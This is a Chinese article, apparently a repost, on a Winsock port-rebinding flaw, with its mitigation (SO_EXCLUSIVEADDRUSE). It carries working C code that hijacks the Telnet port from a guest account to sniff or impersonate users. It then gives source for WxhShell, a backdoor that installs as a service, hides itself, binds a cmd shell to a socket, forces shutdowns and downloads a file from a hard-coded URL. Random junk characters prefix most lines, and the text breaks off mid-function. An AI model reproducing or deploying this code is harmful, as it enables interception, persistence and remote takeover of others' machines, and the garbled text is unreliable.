在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
MY(51)* s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
vrvi]
Y8 a5w E{K saddr.sin_family = AF_INET;
kpQN>XV# OE}c$!@ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
,wyEo>>4) wDBU+Z bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
m?;/H b%VZPKA; 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
,}Im^~5 |n(b>.X 这意味着什么?意味着可以进行如下的攻击:
'loko#6 /c7jL4oD 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
(^<skx> =#&+w[4?&. 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
N)KN!! kn&BGYt 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
N[yS heT Qv8 =CnuOT 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
W{ZJ^QAq/ C2DAsSw 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
GAh\6ul H8Z|gq1r 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
&nY#GHB B?
XK;*]) 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
oS_YQOoD @?t+O'& #include
K>-01AGHL #include
#X?E#^6?E #include
/d$kz&aIV #include
N4WX} DWORD WINAPI ClientThread(LPVOID lpParam);
A 0;ng2& int main()
-"bC[ WN {
w3ZOCWJS WORD wVersionRequested;
5<7sVd. DWORD ret;
@ xTVX'$ WSADATA wsaData;
wV4MP1c$ BOOL val;
Nfmr5MU_ SOCKADDR_IN saddr;
h+9~^<oFl SOCKADDR_IN scaddr;
vJb/.)gh] int err;
j`MK\*qmz SOCKET s;
[Z!oVSCZD% SOCKET sc;
+9#qNkP int caddsize;
"`*
>co6r HANDLE mt;
%e+*&Z', DWORD tid;
58o&Dv6? wVersionRequested = MAKEWORD( 2, 2 );
U.N&~S err = WSAStartup( wVersionRequested, &wsaData );
Xl>ZnI]; if ( err != 0 ) {
-L
wz
T printf("error!WSAStartup failed!\n");
w@a|_? return -1;
Lu4>C 2{ }
$3eoZ1q'U- saddr.sin_family = AF_INET;
VpED9l]y [-R[rF //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
`SS[[FT$> 1I8<6pi- saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
WkPT6d saddr.sin_port = htons(23);
._&SS,I5VZ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
++=jh6 {
Rq|]KAN printf("error!socket failed!\n");
y%<CkgZS return -1;
NA#,q 8 }
ZRFHs>0 val = TRUE;
1_M}Dc+J //SO_REUSEADDR选项就是可以实现端口重绑定的
6 8Vxy if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
iY5V4Gbo {
!3z
;u8W printf("error!setsockopt failed!\n");
l}D /1~d return -1;
LFvZ 7M\\ }
"#w%sG^_ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
+IlQZwm~ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
-<(RYMk*) //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
df&.!7_R` gy"<[N
.?c if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
,!P}Y[| {
bb-u'"5^] ret=GetLastError();
O! _d5r&, printf("error!bind failed!\n");
KNOVb=#f_ return -1;
2M+*VO }
CKC5S^Mx listen(s,2);
A5sz[k while(1)
J58S8:c {
^RYq !l$ caddsize = sizeof(scaddr);
Nc?'}, //接受连接请求
qtFHA+bO sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
lA4TWU (] if(sc!=INVALID_SOCKET)
n`T4P$pt {
Bz>5OuOVS\ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
,MG`}*N} if(mt==NULL)
}R_Rw:W {
*0<)PJ T printf("Thread Creat Failed!\n");
F]s:`4 break;
x1}Ono3"T }
Uyd' uC }
pB7^l|\] CloseHandle(mt);
4Ofkagg }
^S!;snhn closesocket(s);
xRqA^Ad WSACleanup();
MXDUKh7v3 return 0;
Ms-)S7tMz }
/+m2|Ij( DWORD WINAPI ClientThread(LPVOID lpParam)
pv"s!q& {
|AS<I4+& SOCKET ss = (SOCKET)lpParam;
f{P?|8u SOCKET sc;
]oC"gWDYu unsigned char buf[4096];
!w;/ J^ SOCKADDR_IN saddr;
[c v!YE long num;
NB-%Tp*d DWORD val;
R{Cbp=3J DWORD ret;
y>^0q/=]?O //如果是隐藏端口应用的话,可以在此处加一些判断
2W#^^4^+ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
SnM^T(gtS3 saddr.sin_family = AF_INET;
@7{.err! saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
,
YlS saddr.sin_port = htons(23);
aDu[iaZ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
FwD
q@Oj {
^$[iLX printf("error!socket failed!\n");
YWL7.Y>%5 return -1;
8i)9ho< }
z|\n^ZK= val = 100;
#er% q: if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
^1_CS* {
[\&2& ret = GetLastError();
lR]FQnZ return -1;
@|e
we.r }
j-ob7(v)*] if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Qraa0]56 {
#qeC)T ret = GetLastError();
*eI {g return -1;
4
=T_h` }
DgB;6Wl if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
_CBMU'V {
"/ Gw`^t printf("error!socket connect failed!\n");
c:<a"$ closesocket(sc);
Z$zX%w closesocket(ss);
d]N_<@tx9 return -1;
}c>vk }
>P//]nn while(1)
xC}' "``s {
@#;*e] 1a //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
\C4wWh-A //如果是嗅探内容的话,可以再此处进行内容分析和记录
<2~DI0pp( //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
. i^@v<+ num = recv(ss,buf,4096,0);
>7~,w1t if(num>0)
ngI+afo
send(sc,buf,num,0);
"<^n@=g'q else if(num==0)
'pB? break;
JVr8O`>T num = recv(sc,buf,4096,0);
14*6+~38m& if(num>0)
=&(e* u_ send(ss,buf,num,0);
5".bM8o else if(num==0)
@.`k2lxGd~ break;
'(g;nU< }
m_,Jbf closesocket(ss);
cvhwd\ closesocket(sc);
XL'\$f return 0 ;
yB 'C9wEH }
+wQ}ZP& {JF"PAS7 'yV*eG?^& ==========================================================
W=OryEV? +;M 5Sp 下边附上一个代码,,WXhSHELL
0)ZLdF_6 m9+?>/R ==========================================================
sf:IA%.4t bm4Bq>*=U #include "stdafx.h"
kE|x'(x T8Q_JQ #include <stdio.h>
mIqm/5 #include <string.h>
'?g&);4)k- #include <windows.h>
I5`>XfO) #include <winsock2.h>
Wh~,?}laj #include <winsvc.h>
5)5yH bS #include <urlmon.h>
t*H|*L#YR -Q&@P3x #pragma comment (lib, "Ws2_32.lib")
S4-jF D)U #pragma comment (lib, "urlmon.lib")
RzzU+r :R>RCR2g) #define MAX_USER 100 // 最大客户端连接数
!nlr!+(fV #define BUF_SOCK 200 // sock buffer
xEeHQ7J #define KEY_BUFF 255 // 输入 buffer
N
Z,} v3 PN:`SWP #define REBOOT 0 // 重启
[x]~G #define SHUTDOWN 1 // 关机
Ih4$MG6QC fNfa.0s #define DEF_PORT 5000 // 监听端口
AjoIL oN%zpz;OR #define REG_LEN 16 // 注册表键长度
6NHP/bj<1V #define SVC_LEN 80 // NT服务名长度
a'.7)f[g} \u))1zRd // 从dll定义API
&\b( typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
g1.u1} typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
md!!$+a%| typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
|=![J? typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
9)o@d`*
FK`:eP{ // wxhshell配置信息
V>GJO (9 struct WSCFG {
?mSZQF:d@ int ws_port; // 监听端口
NJV kn~< char ws_passstr[REG_LEN]; // 口令
NL;sn" int ws_autoins; // 安装标记, 1=yes 0=no
`H$=hr char ws_regname[REG_LEN]; // 注册表键名
n&zEYCSI char ws_svcname[REG_LEN]; // 服务名
zufsmY4P char ws_svcdisp[SVC_LEN]; // 服务显示名
h.KgHMV` char ws_svcdesc[SVC_LEN]; // 服务描述信息
lNtxM"G& char ws_passmsg[SVC_LEN]; // 密码输入提示信息
1i_%1Oip int ws_downexe; // 下载执行标记, 1=yes 0=no
\okv}x^L=Z char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
a|.IAxJ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
kqxq'Aq)d @^ *62 };
AO|1m$xf ^u1Nbo // default Wxhshell configuration
U^% )BI struct WSCFG wscfg={DEF_PORT,
c~;VvYu "xuhuanlingzhe",
!
Vlx 1,
I,HtW ), "Wxhshell",
e6
x#4YH "Wxhshell",
.kMnq8u "WxhShell Service",
)N607 Fa- "Wrsky Windows CmdShell Service",
5MKM;6cA&p "Please Input Your Password: ",
|v5
ge3- 1,
~I%164B+/ "
http://www.wrsky.com/wxhshell.exe",
<>Dw8?O
"Wxhshell.exe"
>5"e<mwD7d };
E)f9`][ f?ibyoXL // 消息定义模块
8oXp8CC char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
,J-|.ER-> char *msg_ws_prompt="\n\r? for help\n\r#>";
p]/[ji char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
r|jM; char *msg_ws_ext="\n\rExit.";
$!y^t$u$@ char *msg_ws_end="\n\rQuit.";
JYA>Q& char *msg_ws_boot="\n\rReboot...";
M_.Jmh<&& char *msg_ws_poff="\n\rShutdown...";
m%>}T75C^ char *msg_ws_down="\n\rSave to ";
^cSfkBh $Bl51VjN char *msg_ws_err="\n\rErr!";
UnYb}rF#% char *msg_ws_ok="\n\rOK!";
}4H}*P> + WBkx!{\z char ExeFile[MAX_PATH];
\_6 int nUser = 0;
75R#gQ]EV HANDLE handles[MAX_USER];
+`>E_+Mp int OsIsNt;
(C"q-0?n wU<j=lY?f SERVICE_STATUS serviceStatus;
n:) [%on SERVICE_STATUS_HANDLE hServiceStatusHandle;
47Bg[ +PI}$c-|` // 函数声明
~{5va int Install(void);
nvXjW@)` int Uninstall(void);
kR^h@@'F" int DownloadFile(char *sURL, SOCKET wsh);
fjl9* int Boot(int flag);
[rK`BnJX void HideProc(void);
^blw\;LB int GetOsVer(void);
(xVx|:R[<H int Wxhshell(SOCKET wsl);
<eS/-W%n6 void TalkWithClient(void *cs);
wVnmT94 int CmdShell(SOCKET sock);
$C fp1# int StartFromService(void);
JMo r[* int StartWxhshell(LPSTR lpCmdLine);
8>6<GdGL<n "kBVHy VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
ID!S}D VOID WINAPI NTServiceHandler( DWORD fdwControl );
Zf<T`'_d = >tkc/aa // 数据结构和表定义
S.1>bs2 SERVICE_TABLE_ENTRY DispatchTable[] =
Ol+D"k~<C {
]?wz. {wscfg.ws_svcname, NTServiceMain},
0)~c)B:5 {NULL, NULL}
$@71 w~y };
i20y\V
os? knph549 // 自我安装
LP|YW*i=IQ int Install(void)
rxyeix {
t8h*SHD9 char svExeFile[MAX_PATH];
-T{2R:\{ HKEY key;
\4G9YK-N> strcpy(svExeFile,ExeFile);
(l-=/6- Zl3e=sg= // 如果是win9x系统,修改注册表设为自启动
|3!) if(!OsIsNt) {
$qdynKK if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
*?HoN;^ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
HF_8661g RegCloseKey(key);
1Q? RD%lkf if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
PlLt^q.z[ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
1E&S{. RegCloseKey(key);
0'$67pY return 0;
JJ}DYv }
r hucBm }
;DYS1vG o }
y_Urzgm( else {
% X %zK1 <f8j^ // 如果是NT以上系统,安装为系统服务
su1fsoL0 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
Dv/7w[F if (schSCManager!=0)
2gZp
O9 {
<,n:w[+!`P SC_HANDLE schService = CreateService
4m91XD (
V,d\Wk k/ schSCManager,
O_4B>
)zd wscfg.ws_svcname,
#Pf<2S
wscfg.ws_svcdisp,
<4vCx SERVICE_ALL_ACCESS,
JJ_Z{ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
~S;-sxoO0l SERVICE_AUTO_START,
R5^6Kwu SERVICE_ERROR_NORMAL,
E&y)`>Nq{ svExeFile,
M."/"hV`- NULL,
([>__c/Nd NULL,
Y)pop:y t NULL,
]j6pd*H NULL,
.<z7$lz\ NULL
2 (l0Lq* );
"B
(?|r% if (schService!=0)
3.BUWMD {
u^{p'a' CloseServiceHandle(schService);
js <Up/1 CloseServiceHandle(schSCManager);
@_-,Q5 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
-k8sR1( strcat(svExeFile,wscfg.ws_svcname);
=d^hiR!GN if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
W&|?8%"l] RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
l9a81NF{s RegCloseKey(key);
4aBVO%t return 0;
,-E'059 }
Komdz/g }
}s<;YC CloseServiceHandle(schSCManager);
z7`|N`$Z#s }
NFEr ,n }
9S}rTZkEq `H$XO{w return 1;
:" !Z9l\@ }
*#Ia8^z=p ;)CN=J! // 自我卸载
1@t.J> int Uninstall(void)
ki@C}T5 {
u_9c> HKEY key;
ui#nN 8uLS7\,$z if(!OsIsNt) {
}kvix{ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
$[fq Th RegDeleteValue(key,wscfg.ws_regname);
l$9k:#\FD RegCloseKey(key);
!0Nf`iCQ( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
i)X~L4gn RegDeleteValue(key,wscfg.ws_regname);
nf"#F@dk RegCloseKey(key);
v:/!OvLe return 0;
X coPkW }
5yoi;$~}_0 }
M NwY
}
j;_ else {
?i#x13 JXe~
9/! SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
ly*v|(S& if (schSCManager!=0)
H(76sE {
Eq;w5;7s SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
aaY AS"/: if (schService!=0)
ij-'M{f {
} (-9d if(DeleteService(schService)!=0) {
CV"}(1T CloseServiceHandle(schService);
Q`AlK"G, CloseServiceHandle(schSCManager);
1#_pj
eG return 0;
+39uKOrZ }
ZJ)Z
CloseServiceHandle(schService);
zqNzWX }
rY^uOrR>j* CloseServiceHandle(schSCManager);
^t
gjs$M| }
-`\rDPGf }
|*g#7YL Y3:HQ0w`| return 1;
,s3| }
6&SNFOX{@ zytN leyc // 从指定url下载文件
Q2m[XcnX int DownloadFile(char *sURL, SOCKET wsh)
m6BUKX\m {
Ii[U% HRESULT hr;
L$OZ]
char seps[]= "/";
^\O*e)#* char *token;
Y"8@\73(R char *file;
mm:TR?^ char myURL[MAX_PATH];
TCyev[( char myFILE[MAX_PATH];
o<!H/PN T2w4D! strcpy(myURL,sURL);
ZOV,yuD{8{ token=strtok(myURL,seps);
)$E){(Aa while(token!=NULL)
[}HPV+j=U {
wQy~5+LE file=token;
,%IP27bPW token=strtok(NULL,seps);
"*X\'LPs= }
g{}<ptx] 8el6z2 GetCurrentDirectory(MAX_PATH,myFILE);
^z)De+,!4 strcat(myFILE, "\\");
\HzmhQb+m strcat(myFILE, file);
xtv%C send(wsh,myFILE,strlen(myFILE),0);
' abEY send(wsh,"...",3,0);
#?S"y: hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
.cs x"JC if(hr==S_OK)
@PNgqjd return 0;
t`Z3*?UqI else
xJ/)*?@+ return 1;
=T2SJ) |Ol29C$@| }
^|Fy!kp _dk[k@5W{' // 系统电源模块
Pa d)| int Boot(int flag)
G^dp9A {
tUULpx.h HANDLE hToken;
i3|xdYe$ TOKEN_PRIVILEGES tkp;
8/)\nV$0Y XTF[4#WO if(OsIsNt) {
AjcKz OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
WIi,`/K+ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
VZcW
3/Y tkp.PrivilegeCount = 1;
>fP;H}S6 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
+?"F=.SZ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
KQ]sUNH if(flag==REBOOT) {
ZXb{-b?[` if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
s;oe Qa}TB return 0;
hv#$Zo< }
fWEQ vQ else {
M("sekL if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
w#A\(z%;x return 0;
i,;eW&
}
z-gMk@l }
Z9M$*Zp else {
)Hin{~h if(flag==REBOOT) {
rMIX{K)'f if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
[UzacX t return 0;
Jb*QlsGd }
%p)&mYK{ else {
-(
p%+` if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
gkxHfm return 0;
BrSvkce }
C=&n1/ }
S"G(_% uQ_C<ii"W return 1;
dI%jR&.e; }
ZPE- /YZMP'v // win9x进程隐藏模块
;[
Dxk$" void HideProc(void)
%eofG]VM< {
/Lr`Aka5 *)w+xWmM3w HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
%Jh(5 if ( hKernel != NULL )
*Lz'<=DLoW {
8f~x\. pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
w`8H=Hf ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
l+2NA4s FreeLibrary(hKernel);
P]^OSPRg }
!Q~>)$Cf^ b6k_u9m^E return;
@R`6jS_gK }
D
ON.)F T\p>wiY2|F // 获取操作系统版本
`!N}u int GetOsVer(void)
? Pi|`W {
5%9Uh'y# OSVERSIONINFO winfo;
Go c*ugR winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
uZL,%pF3A GetVersionEx(&winfo);
K!9K^ h if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
/77cjesZ9 return 1;
S[$9_J f else
_PPC?k{z! return 0;
j$_?g!I=gK }
^cPVnl &S+*1<|`K // 客户端句柄模块
D1-w>Y# int Wxhshell(SOCKET wsl)
pm=O.)g4` {
Ag\RLJ.KD SOCKET wsh;
RjviHd#DXn struct sockaddr_in client;
U`3?bhzua DWORD myID;
x^)?V7[t xa'U_]m while(nUser<MAX_USER)
V#$QKn`; {
fgL"\d} int nSize=sizeof(client);
,sc#l<v wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
xV+\R/)x
if(wsh==INVALID_SOCKET) return 1;
WG A&Lr 46)[F0,$r handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
C TG^lms if(handles[nUser]==0)
V2?{ebx` closesocket(wsh);
yc]_ ?S>9 else
"4WnDd5" nUser++;
T=pP }
_J\zj WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
U3B&3K} ~ "zNS6I?rzE return 0;
qh6b;ae\x }
r1IvA^X *jc
>?)k // 关闭 socket
,2Ed^!` void CloseIt(SOCKET wsh)
6<\dQ+~ {
rMJ@oc closesocket(wsh);
~.^:?yCA nUser--;
m=E/um[D ExitThread(0);
Xlug{ Uh }
vgtAJp+p* ;sYDs71y // 客户端请求句柄
P]^8Enp void TalkWithClient(void *cs)
B0yGr\KJ {
1t/c@YUTy XN
t` 4$L SOCKET wsh=(SOCKET)cs;
Q?j '4 char pwd[SVC_LEN];
0&NM=~ char cmd[KEY_BUFF];
CZ]Dm4 char chr[1];
mB0`>?#i int i,j;
R&t2 <75x@! while (nUser < MAX_USER) {
uy"i3xD6- NMw5ixl if(wscfg.ws_passstr) {
c %Y*XJ' if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
@6DKw;Q //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
|b='DJz2 //ZeroMemory(pwd,KEY_BUFF);
dbEXlm i=0;
-}T7F+ while(i<SVC_LEN) {
K'8?%&IQ -,/6 Wn'j // 设置超时
#
{k$Fk fd_set FdRead;
Gl{'a1 struct timeval TimeOut;
o92BGqA>& FD_ZERO(&FdRead);
}T}c%p FD_SET(wsh,&FdRead);
/KnIU|; TimeOut.tv_sec=8;
o-_,l
J7o^ TimeOut.tv_usec=0;
*$VeR(QN int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
'.pGkXyQ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
[?<v|k
n3V$Xtxw if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
R$}Hv pwd
=chr[0]; D8w.r"ne
if(chr[0]==0xd || chr[0]==0xa) { ?\4kV*/Cqz
pwd=0; $Nvox<d0
break; )2W7>PY
} -u~:Gd*l0
i++; 8%4v6No&*
} :+9. v
k
"7,-0gz
// 如果是非法用户,关闭 socket d/oD]aAEr
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); h8.(Q`tli
} 8TH;6-RT
dQH8s
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ^o Ds*F
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \hlS?uD\
TGG=9a]m
while(1) { mg70%=qM0f
7w5l[a/
ZeroMemory(cmd,KEY_BUFF); /P[u vO
+ rN#
// 自动支持客户端 telnet标准 \C;Yn6PK0
j=0; &u"mFweS
while(j<KEY_BUFF) { $@{d\@U
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *pS3xit~
cmd[j]=chr[0]; %T<c8w}dP
if(chr[0]==0xa || chr[0]==0xd) { 1M_6X7PH
cmd[j]=0; [}Rs
break; .{;RJ:O
} >PdrLwKS
j++; pkG8g5(w
} BB1_EdoG
2^5RQl/
// 下载文件 C)qG<PW.!
if(strstr(cmd,"http://")) { 60|m3|0o
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^N ;TCn
if(DownloadFile(cmd,wsh)) GmUm?A@B
send(wsh,msg_ws_err,strlen(msg_ws_err),0); kp?_ir
else o"N\l{ #s
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ek06=2i
} +m}D.u*cp
else { g rQ,J
Rdj3dg'<
switch(cmd[0]) { J+Y?'"r
Bq4@I_b
// 帮助 .Q</0*sp
case '?': { IA=\c
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ]U4C2}u
break; Ttb ?x<)+8
} -DZ5nx
// 安装 tnb'\}Vn
case 'i': { }DvT6
if(Install()) N^[MeG,8
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5P);t9O6
else L)H/t6}i
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^'sy hI\
break; aJs! bx>K
} A i#~Eu*
// 卸载 FhEfW7]0,
case 'r': { [W'2z,S`WD
if(Uninstall()) 'OhGSs|
send(wsh,msg_ws_err,strlen(msg_ws_err),0); @Ko}Td&E(
else ! v%%_sRV
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +WxD=|p;
break; 7/=r-
} [m<8SOMG(
// 显示 wxhshell 所在路径 C1YH\X(r
case 'p': { ^m.%FIwR
char svExeFile[MAX_PATH]; (r.y
strcpy(svExeFile,"\n\r"); /GNm>NSK
strcat(svExeFile,ExeFile); O+DYh=m*p
send(wsh,svExeFile,strlen(svExeFile),0); T!&VT;
break; d<cQYI4V
} i|!R*"
// 重启 w0.;86<MV
case 'b': { 7Sycy#D
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); p{0rHu[
if(Boot(REBOOT)) "GxQ9=Z
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0)vX
else { 6D4u?P,
closesocket(wsh); -OgC. 6
ExitThread(0); ?O#"x{Pk
} Jd|E
4h~(
break; <5|:QLqy
} wX@g>(
// 关机 ~P-^An^
case 'd': { 8hX/~-H
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); SmP&wNHQf
if(Boot(SHUTDOWN)) @Rqn&tA8
send(wsh,msg_ws_err,strlen(msg_ws_err),0); =#I/x=L:
else { KW36nY\7
closesocket(wsh); ph7]*W-
ExitThread(0); a0wpsl
iF
} vWYU'_=
break; ^{O1+7d[.
} _6sSS\
// 获取shell FbD9G6h5
case 's': { lxLEYDGFS
CmdShell(wsh); R{Me~L?
closesocket(wsh); ML1/1GK*i+
ExitThread(0); m8 *)@e
break; n--s[Kdo8
} [:{HX U7y
// 退出 U,\t2z
case 'x': { |198A,^
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ZlL]AD@
CloseIt(wsh); F^wm&:%{`
break; mw${3j~&
} R6irL!akAd
// 离开 HAcC& s8
case 'q': { g % 8@pjk
send(wsh,msg_ws_end,strlen(msg_ws_end),0); jQ P2[\
closesocket(wsh); K@!Gs'Op
WSACleanup(); >s;dooZ
exit(1); @B>pPCowa
break; GUvEOD=p
} E$5A
1
} h`MTB!o
} T5TAkEVl
+78cQqDY!
// 提示信息 =?1B|hdo
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ";w"dfC^
} :T/I%|;f
} _Qf310oONS
Y$eO:67;
return; lMb&F[KJ7
} SOJkeN
mA\}zLw+r9
// shell模块句柄 C.=[K_
int CmdShell(SOCKET sock) ggzcANCD<
{ AKUmh
STARTUPINFO si; c"S{5xh0&
ZeroMemory(&si,sizeof(si)); ZcrFzi
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3m/XT"D
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; /,^AG2]( f
PROCESS_INFORMATION ProcessInfo; z7]GZF
char cmdline[]="cmd"; /baSAoh/e
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 67P@YL
return 0; ~:"//%M3l
} B5/"2i
%_ Vj'z~T
// 自身启动模式 0-IL@Di`F
int StartFromService(void) GNI:k{H@"?
{ Ou2p^:C(
typedef struct 6fw2;$x"
{ F+m;y
DWORD ExitStatus; CdNb&Nyz
DWORD PebBaseAddress; e6I7N?j
DWORD AffinityMask; !TPKD
DWORD BasePriority; ee
.,D
